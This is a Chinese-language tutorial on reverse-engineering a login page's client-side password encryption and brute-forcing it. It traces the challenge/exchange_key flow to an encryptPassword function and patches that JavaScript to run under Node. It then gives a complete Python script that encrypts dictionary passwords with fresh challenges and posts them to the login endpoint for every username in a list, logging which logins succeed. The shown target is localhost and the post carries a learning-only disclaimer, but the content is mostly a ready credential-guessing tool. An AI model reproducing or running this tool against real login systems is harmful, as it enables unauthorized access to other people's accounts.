前端登录加密逆向分析与密码爆破实战
背景概述
本文记录了一次针对前端登录加密机制的逆向分析与密码爆破实践,仅供技术学习参考。所有分析均基于公开可见的客户端代码。
定位登录加密逻辑
打开浏览器开发者工具(Ctrl+Shift+I),切换到网络(Network)面板。随意输入用户名和密码并提交登录请求,找到对应的请求记录,点击启动器(Initiator)中的蓝色链接,即可跳转至处理登录的 JavaScript 代码。
// 核心调用链路
FinishLogin → doStart() → 发送 GET 请求获取挑战值 → passwordLogin → encryptPassword
在 doStart() 方法中,发送了一个 GET 请求到:
api/source/${curItem.id}/start?login_name=${this.loginData[curItem.fields[0]]}
其中 curItem.fields[0] 对应输入的用户名。
从该接口的响应中提取出两个关键参数:
- challenge:例如
"28515141.AYiyasih6qkimRdswF8vhwTs5pGidzZCM18_JCwRe6w" - exchange_key:例如
"Phf6vzG7snJUhy7p-B6splD45vfhp0erZJpMhBni9mk"
接着检查是否有验证码逻辑,若无验证码则调用 passwordLogin 方法,并将 curItem、challenge 和 exchange_key 传入。
加密函数分析
在 passwordLogin 方法中,核心加密调用为 encryptPassword(exchange_key, challenge, credentials["password"])。该函数位于单独的 jwes.js 文件中,并引用了 x25519.js。
加密流程概括如下:
- 从服务器获取
challenge和exchange_key。 - 调用
jwes.js中的encryptPassword()方法,传入上述三个参数进行加密。
爆破环境搭建
- 安装 Node.js
- Python 安装
execjs模块:pip install execjs
将 jwes.js 文件下载到本地。文件中使用了 require("node-forge") 和 import x25519 from "./x25519",因此需要安装相应依赖:
npm install node-forge
由于 import 语句在 Node.js 环境中可能无法直接运行,将 x25519.js 的全部代码直接粘贴至 jwes.js 中,并做如下调整:
- 将内部变量改为全局变量
- 将静态方法转为普通函数
- 移除
export导出语句
Python 代码实现
初始版本(仅加密测试)
import os
import execjs
os.environ["EXECJS_RUNTIME"] = "NodeJS"
with open("jwes.js", "r", encoding='utf-8') as f:
ctx = execjs.compile(f.read(), cwd=r"D:\environment\NodeJs\node_modules")
pwd_list = []
with open("passwd.txt", "r", encoding='utf-8') as f:
for line in f:
pwd_list.append(line.strip())
for pwd in pwd_list:
result = ctx.call('encryptPassword',
"Phf6vzG7snJUhy7p-B6splD45vfhp0erZJpMhBni9mk",
"28515141.AYiyasih6qkimRdswF8vhwTs5pGidzZCM18_JCwRe6w",
pwd)
print(result)
常见错误处理
错误1:window 未定义
ReferenceError: window is not defined
定位到 jwes.js 中使用了 window.crypto 生成随机数,将相关代码替换为:
function cryptoRandomBytes(length) {
let array = new Uint8Array(length);
return crypto.getRandomValues(array)
}
错误2:challenge 实时性问题
challenge 每次请求都会变化,无法在 JS 中直接获取。改用 Python 的 requests 模块从接口实时获取。
完整爆破代码
import json
import execjs
import requests
def encrypt_with_challenge(js_code, password):
url = 'http://127.0.0.1/api/source/AlbdUKmU/start?login_name=admin'
resp = requests.get(url)
challenge = resp.json()['data']['challenge']
ctx = execjs.compile(js_code, cwd=r"D:\environment\NodeJs\node_modules")
return ctx.call("encryptPassword",
"Phf6vzG7snJUhy7p-B6splD45vfhp0erZJpMhBni9mk",
challenge,
password)
# 读取用户列表和密码字典
with open('jwes.js', 'r', encoding='utf-8') as f:
js_content = f.read()
with open('./users', 'r', encoding='utf-8') as f:
users = [line.strip() for line in f]
with open('passwd.txt', 'r', encoding='utf-8') as f:
passwords = [line.strip() for line in f]
success_count = 0
for uname in users:
print(f"尝试用户: {uname}")
for pwd in passwords:
encrypted_pwd = encrypt_with_challenge(js_content, pwd)
post_data = {
"login_name": uname,
"password": encrypted_pwd
}
headers = {
"User-Agent": "Mozilla/5.0 Firefox",
"Accept": "application/json, text/plain, */*",
"X-Requested-With": "XMLHttpRequest",
"Content-Type": "application/json;charset=UTF-8",
"Referer": "http://127.0.0.1/login"
}
rsp = requests.post("http://127.0.0.1/api/source/AlbdUKmU/finish",
headers=headers,
data=json.dumps(post_data))
result = rsp.json()
if result.get('status') == 'error':
code = result.get('code', '')
print(f"错误: {code}")
if code == "UNKNOWN_ACCOUNT":
break
else:
success_count += 1
print(f"成功!用户名: {uname},密码: {pwd}")
print(rsp.text)
print(f"共成功 {success_count} 组")